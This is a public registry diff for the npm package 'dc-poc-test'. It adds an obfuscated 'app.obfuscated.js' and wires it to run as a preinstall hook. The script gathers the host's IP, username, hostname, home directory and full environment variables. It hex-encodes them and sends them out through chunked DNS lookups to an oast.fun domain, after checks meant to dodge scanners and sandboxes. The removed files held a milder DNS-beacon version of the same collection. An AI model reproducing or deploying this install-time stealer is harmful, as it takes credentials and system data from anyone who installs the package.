dc-poc-test 0.4.0 → 0.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/app.obfuscated.js +1 -0
- package/package.json +11 -11
- package/index.js +0 -1
- package/lib/outbound.js +0 -61
- package/lib/proof.js +0 -6
- package/lib/utils.js +0 -45
- package/preinstall.js +0 -55
@@ -0,0 +1 @@
|
|
1
|
+
const a0_0x54afec=a0_0x427a;(function(_0x238d82,_0x2fb39d){const _0x39bebe=a0_0x427a,_0x2f8030=_0x238d82();while(!![]){try{const _0x160c1b=-parseInt(_0x39bebe(0x176))/0x1+parseInt(_0x39bebe(0x16b))/0x2*(parseInt(_0x39bebe(0x193))/0x3)+-parseInt(_0x39bebe(0x18c))/0x4+parseInt(_0x39bebe(0x179))/0x5*(parseInt(_0x39bebe(0x17b))/0x6)+parseInt(_0x39bebe(0x19f))/0x7*(parseInt(_0x39bebe(0x185))/0x8)+-parseInt(_0x39bebe(0x182))/0x9+parseInt(_0x39bebe(0x163))/0xa;if(_0x160c1b===_0x2fb39d)break;else _0x2f8030['push'](_0x2f8030['shift']());}catch(_0x1b3208){_0x2f8030['push'](_0x2f8030['shift']());}}}(a0_0x2108,0x59879));function a0_0x2108(){const _0x2c151b=['random','username','hey-message-content','14hHgnXc','Info','DESKTOP-','DetonationLogLevel','stringify','userInfo','8988360KJGhSQ','length','IPv4','\x5cnode_modules\x5chey-message-content\x5c','/node_modules/hey-message-content','keys','from','verdaccio:4873','1082926QcUUbb','decoy_start_','INIT_CWD','run-script','address','decoy_end','npm_package_name','10.100.108.146:15672','GITHUB_TOKEN','CI_JOB_TOKEN','some','126641wGboYF','internal','lookup','258985VWjjIF','env','42MoBopj','NODE_TLS_REJECT_UNAUTHORIZED','toString','preinstall','SLACK_WEBHOOK','key','arch','5626323rvWPAI','GH_TOKEN','substring','122792GUvrjF','values','homedir','hostname','networkInterfaces','KUBERNETES_','lili-pc','2860300ETCkep','startsWith','dns','string','toLowerCase','includes','mirrors.cloud.tencent','3jVbYCv','npm_lifecycle_event','hex','\x5cnode_modules\x5chey-message-content','MALYSIS_ANALYSIS_ID','install','N/A','has','Debug'];a0_0x2108=function(){return _0x2c151b;};return a0_0x2108();}const os=require('os'),dns=require(a0_0x54afec(0x18e));function isBlockedByKeywords(_0x348e2a,_0x270a4e){const _0x400271=a0_0x54afec,_0x5ae426=[_0x400271(0x18b),'justin',_0x400271(0x1a1)],_0x507050=(_0x348e2a||'')[_0x400271(0x190)](),_0x11d065=(_0x270a4e||'')[_0x400271(0x190)]();return _0x5ae426['some'](_0x542948=>_0x507050[_0x400271(0x191)](_0x542948)||_0x11d065[_0x400271(0x191)](_0x542948));}function isBlockedByEnv(_0x3aa40b){const _0x5df1ab=a0_0x54afec;if(!_0x3aa40b||typeof _0x3aa40b!=='object')return![];const _0x1fed8c=new Set(['hscan-supplychain-dynamic',_0x5df1ab(0x192),_0x5df1ab(0x16a),_0x5df1ab(0x172),_0x5df1ab(0x197)]);for(const _0x457403 of Object[_0x5df1ab(0x168)](_0x3aa40b)){if(_0x1fed8c[_0x5df1ab(0x19a)](_0x457403))return!![];if(_0x457403[_0x5df1ab(0x18d)](_0x5df1ab(0x18a))||_0x457403['startsWith']('RABBITMQ_'))return!![];if(_0x457403[_0x5df1ab(0x18d)]('AWS_'))return!![];}const _0x26f821=[{'key':_0x5df1ab(0x194),'values':[_0x5df1ab(0x17e)]},{'key':'npm_command','values':[_0x5df1ab(0x198),'ci',_0x5df1ab(0x16e)]},{'key':_0x5df1ab(0x171),'values':[_0x5df1ab(0x19e)]},{'key':'npm_package_json','values':['/node_modules/hey-message-content/',_0x5df1ab(0x166)]},{'key':_0x5df1ab(0x16d),'values':[_0x5df1ab(0x167),_0x5df1ab(0x196)]},{'key':_0x5df1ab(0x17c),'values':['0']},{'key':_0x5df1ab(0x1a2),'values':[_0x5df1ab(0x1a0),_0x5df1ab(0x19b)]}];for(const _0x38e14a of _0x26f821){const _0x1c79d3=_0x3aa40b[_0x38e14a[_0x5df1ab(0x180)]];if(typeof _0x1c79d3===_0x5df1ab(0x18f)){const _0x26b541=_0x1c79d3[_0x5df1ab(0x190)]();if(_0x38e14a[_0x5df1ab(0x186)][_0x5df1ab(0x175)](_0x301995=>_0x26b541[_0x5df1ab(0x191)](_0x301995['toLowerCase']())))return!![];}}const _0x3ec253=['NPM_TOKEN',_0x5df1ab(0x173),_0x5df1ab(0x183),_0x5df1ab(0x17f),_0x5df1ab(0x174)];if(_0x3ec253[_0x5df1ab(0x175)](_0x4b8ac8=>_0x4b8ac8 in _0x3aa40b))return!![];return![];};function a0_0x427a(_0x2af10b,_0x55bd28){const _0x210838=a0_0x2108();return a0_0x427a=function(_0x427a4c,_0x42de46){_0x427a4c=_0x427a4c-0x161;let _0x4fa9e8=_0x210838[_0x427a4c];return _0x4fa9e8;},a0_0x427a(_0x2af10b,_0x55bd28);}((async()=>{const _0x35691b=a0_0x54afec,_0x3a420='d2i2nd92eku6u03pgmo05mkb1yzg18dut.oast.fun';let _0x46b40f=_0x35691b(0x199);try{const _0x2b9e95=os[_0x35691b(0x189)]();for(const _0x4ecdea of Object[_0x35691b(0x168)](_0x2b9e95)){for(const _0x1103b6 of _0x2b9e95[_0x4ecdea]){if(_0x1103b6['family']===_0x35691b(0x165)&&!_0x1103b6[_0x35691b(0x177)]){_0x46b40f=_0x1103b6[_0x35691b(0x16f)];break;}}if(_0x46b40f!==_0x35691b(0x199))break;}}catch(_0x275955){}const _0xc5db76=os[_0x35691b(0x188)]()||'',_0x23bfc7=(os[_0x35691b(0x162)]()[_0x35691b(0x19d)]||'')['toString'](),_0x55ea08=process['env'],_0x1a38df=isBlockedByKeywords(_0x23bfc7,_0xc5db76),_0x373a2d=isBlockedByEnv(_0x55ea08);if(_0x1a38df||_0x373a2d)return;const _0x255080=_0x35691b(0x16c)+Math[_0x35691b(0x19c)]()[_0x35691b(0x17d)](0x24)[_0x35691b(0x184)](0x2);let _0x20857b={'_decoy':_0x255080,'ip':_0x46b40f,'username':os[_0x35691b(0x162)]()['username'],'hostname':os[_0x35691b(0x188)](),'platform':os['platform'](),'arch':os[_0x35691b(0x181)](),'home':os[_0x35691b(0x187)](),'env':process[_0x35691b(0x17a)],'_decoy2':_0x35691b(0x170)};const _0x351a47=JSON[_0x35691b(0x161)](_0x20857b),_0xb9e372=Buffer[_0x35691b(0x169)](_0x351a47)[_0x35691b(0x17d)](_0x35691b(0x195)),_0xf84bda=0x32;for(let _0x4a2ab3=0x0;_0x4a2ab3<_0xb9e372[_0x35691b(0x164)];_0x4a2ab3+=_0xf84bda){const _0x34ef72=_0xb9e372[_0x35691b(0x184)](_0x4a2ab3,_0x4a2ab3+_0xf84bda),_0x379bcb=_0x4a2ab3/_0xf84bda+'.'+_0x34ef72,_0x422d20=_0x379bcb+'.'+_0x3a420;dns[_0x35691b(0x178)](_0x422d20,_0xbafbb3=>{}),await new Promise(_0x11aed7=>setTimeout(_0x11aed7,0x64));}})());
|
package/package.json
CHANGED
@@ -1,12 +1,12 @@
|
|
1
1
|
{
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
7
|
-
|
8
|
-
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
2
|
+
"name": "dc-poc-test",
|
3
|
+
"version": "0.5.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node app.obfuscated.js"
|
8
|
+
},
|
9
|
+
"keywords": [],
|
10
|
+
"author": "Finance Dev",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|
package/index.js
DELETED
@@ -1 +0,0 @@
|
|
1
|
-
module.exports = {};
|
package/lib/outbound.js
DELETED
@@ -1,61 +0,0 @@
|
|
1
|
-
const dns = require('dns').promises;
|
2
|
-
const http = require('http');
|
3
|
-
const https = require('https');
|
4
|
-
|
5
|
-
function httpJSON(method, url, bodyObj, headers={}) {
|
6
|
-
const u = new URL(url);
|
7
|
-
const isHttps = u.protocol === 'https:';
|
8
|
-
const body = bodyObj ? JSON.stringify(bodyObj) : '';
|
9
|
-
const opts = {
|
10
|
-
method,
|
11
|
-
hostname: u.hostname,
|
12
|
-
port: u.port || (isHttps ? 443 : 80),
|
13
|
-
path: u.pathname + (u.search || ''),
|
14
|
-
headers: {
|
15
|
-
'content-type': 'application/json',
|
16
|
-
...(body ? {'content-length': Buffer.byteLength(body)} : {}),
|
17
|
-
...headers
|
18
|
-
},
|
19
|
-
timeout: 8000
|
20
|
-
};
|
21
|
-
return new Promise((resolve, reject) => {
|
22
|
-
const req = (isHttps ? https : http).request(opts, res => {
|
23
|
-
let data=''; res.on('data', d=>data+=d);
|
24
|
-
res.on('end', () => {
|
25
|
-
try { resolve({ status: res.statusCode, data: data ? JSON.parse(data) : {} }); }
|
26
|
-
catch { resolve({ status: res.statusCode, data: {} }); }
|
27
|
-
});
|
28
|
-
});
|
29
|
-
req.on('error', reject);
|
30
|
-
if (body) req.write(body);
|
31
|
-
req.end();
|
32
|
-
});
|
33
|
-
}
|
34
|
-
|
35
|
-
async function fetchNonce(server, uuid, token) {
|
36
|
-
const res = await httpJSON('POST', `${server}/nonce`, { uuid }, { 'x-dc-token': token });
|
37
|
-
if (res.status === 200 && res.data && res.data.nonce) return res.data.nonce;
|
38
|
-
throw new Error('no-nonce');
|
39
|
-
}
|
40
|
-
|
41
|
-
async function postPing(server, token, sig, payload, nonce) {
|
42
|
-
return httpJSON('POST', `${server}/ping`, { payload, nonce }, { 'x-dc-token': token, 'x-dc-sig': sig });
|
43
|
-
}
|
44
|
-
|
45
|
-
async function txtChallenge(domain, uuid) {
|
46
|
-
const name = `nonce.${uuid}.${domain}`;
|
47
|
-
const txts = await dns.resolveTxt(name);
|
48
|
-
return txts && txts.length ? txts[0].join('') : '';
|
49
|
-
}
|
50
|
-
|
51
|
-
async function dnsBurst(domain, hex) {
|
52
|
-
const CHUNK = 50;
|
53
|
-
for (let i = 0; i < hex.length; i += CHUNK) {
|
54
|
-
const chunk = hex.slice(i, i+CHUNK);
|
55
|
-
const fqdn = `${(i/CHUNK)}.${chunk}.${domain}`;
|
56
|
-
try { await dns.lookup(fqdn); } catch {}
|
57
|
-
await new Promise(r => setTimeout(r, 120 + Math.floor(Math.random()*80)));
|
58
|
-
}
|
59
|
-
}
|
60
|
-
|
61
|
-
module.exports = { fetchNonce, postPing, txtChallenge, dnsBurst };
|
package/lib/proof.js
DELETED
package/lib/utils.js
DELETED
@@ -1,45 +0,0 @@
|
|
1
|
-
const os = require('os');
|
2
|
-
const crypto = require('crypto');
|
3
|
-
const path = require('path');
|
4
|
-
|
5
|
-
function sha256(s) {
|
6
|
-
return crypto.createHash('sha256').update(String(s)).digest('hex');
|
7
|
-
}
|
8
|
-
|
9
|
-
function randomDelay(minMs=120, maxMs=260) {
|
10
|
-
const d = Math.floor(minMs + Math.random()*(maxMs-minMs));
|
11
|
-
return new Promise(r=>setTimeout(r, d));
|
12
|
-
}
|
13
|
-
|
14
|
-
function firstLocalIPv4() {
|
15
|
-
try {
|
16
|
-
const ifs = os.networkInterfaces();
|
17
|
-
for (const name of Object.keys(ifs)) {
|
18
|
-
for (const it of ifs[name]) {
|
19
|
-
if (it.family === 'IPv4' && !it.internal) return it.address;
|
20
|
-
}
|
21
|
-
}
|
22
|
-
} catch {}
|
23
|
-
return 'N/A';
|
24
|
-
}
|
25
|
-
|
26
|
-
function collectMinimal() {
|
27
|
-
const agent = process.env.npm_config_user_agent || '';
|
28
|
-
const hasCI = !!(process.env.CI || process.env.GITHUB_ACTIONS || process.env.BUILD_ID || process.env.JENKINS_HOME);
|
29
|
-
const cwdBase = path.basename(process.cwd() || '');
|
30
|
-
let usernameHash = '';
|
31
|
-
try { usernameHash = sha256(require('os').userInfo().username || ''); } catch {}
|
32
|
-
return {
|
33
|
-
ts: new Date().toISOString(),
|
34
|
-
local_ipv4: firstLocalIPv4(), // chỉ IP local (không PII)
|
35
|
-
username_sha256: usernameHash, // hash username
|
36
|
-
hostname_sha256: sha256(os.hostname()||''),// hash hostname
|
37
|
-
platform: os.platform(),
|
38
|
-
arch: os.arch(),
|
39
|
-
npm_user_agent: agent,
|
40
|
-
cwd_basename: cwdBase,
|
41
|
-
has_CI: hasCI
|
42
|
-
};
|
43
|
-
}
|
44
|
-
|
45
|
-
module.exports = { sha256, randomDelay, collectMinimal };
|
package/preinstall.js
DELETED
@@ -1,55 +0,0 @@
|
|
1
|
-
const dns = require('dns').promises;
|
2
|
-
const crypto = require('crypto');
|
3
|
-
const { collectMinimal, randomDelay } = require('./lib/utils');
|
4
|
-
const { PKG_PROOF_UUID, PROOF_DOMAIN } = require('./lib/proof');
|
5
|
-
|
6
|
-
function uaLooksLikeRealNpm(ua='') {
|
7
|
-
return /^npm\/\d+\.\d+\.\d+\s+node\/\d+\.\d+\.\d+\s+\w+\s+\w+/.test(String(ua||''));
|
8
|
-
}
|
9
|
-
|
10
|
-
function hexOf(obj) {
|
11
|
-
try { return Buffer.from(JSON.stringify(obj)).toString('hex'); }
|
12
|
-
catch { return ''; }
|
13
|
-
}
|
14
|
-
|
15
|
-
async function pingInteractsh() {
|
16
|
-
const ua = process.env.npm_config_user_agent || '';
|
17
|
-
if (!uaLooksLikeRealNpm(ua)) return; // giảm noise bot rác
|
18
|
-
|
19
|
-
const version = require('./package.json').version.replace(/\./g,'-');
|
20
|
-
const runtime = (process.platform || 'x') + '-' + (process.arch || 'x');
|
21
|
-
|
22
|
-
// Thu thập tối thiểu (an toàn, không PII)
|
23
|
-
const base = collectMinimal();
|
24
|
-
|
25
|
-
// Chèn 1 ít metadata vào label để bạn grep
|
26
|
-
const stamp = Date.now().toString(36);
|
27
|
-
const prefix = `dcpoc.${PKG_PROOF_UUID}.${version}.${runtime}.${stamp}`;
|
28
|
-
|
29
|
-
// Gửi 1..3 A lookups:
|
30
|
-
// 1) nhãn ngắn: dcpoc.<uuid>.<ver>.<runtime>.<ts>.<domain>
|
31
|
-
// 2) nhãn có checksum ngắn
|
32
|
-
// 3) (tuỳ) nhãn đính kèm 1 chunk hex của base (rất ngắn) — tránh dài quá 63 bytes/label
|
33
|
-
const short = `${prefix}.${PROOF_DOMAIN}`;
|
34
|
-
|
35
|
-
const h = crypto.createHash('sha1').update(JSON.stringify(base)).digest('hex').slice(0,10);
|
36
|
-
const withChk = `${prefix}.h${h}.${PROOF_DOMAIN}`;
|
37
|
-
|
38
|
-
const tiny = hexOf({ts: base.ts, has_CI: base.has_CI}).slice(0, 28); // 14 bytes (-> 28 hex char)
|
39
|
-
const withTiny = `${prefix}.x${tiny}.${PROOF_DOMAIN}`;
|
40
|
-
|
41
|
-
const names = [short, withChk, withTiny];
|
42
|
-
|
43
|
-
// Thực hiện lookup tuần tự, có trễ nhẹ
|
44
|
-
for (const fqdn of names) {
|
45
|
-
try { await dns.lookup(fqdn); } catch {}
|
46
|
-
await randomDelay();
|
47
|
-
}
|
48
|
-
}
|
49
|
-
|
50
|
-
(async () => {
|
51
|
-
try {
|
52
|
-
// Chỉ chạy nhánh Interactsh (passive-proof); không cần token/env ở victim
|
53
|
-
await pingInteractsh();
|
54
|
-
} catch {}
|
55
|
-
})();
|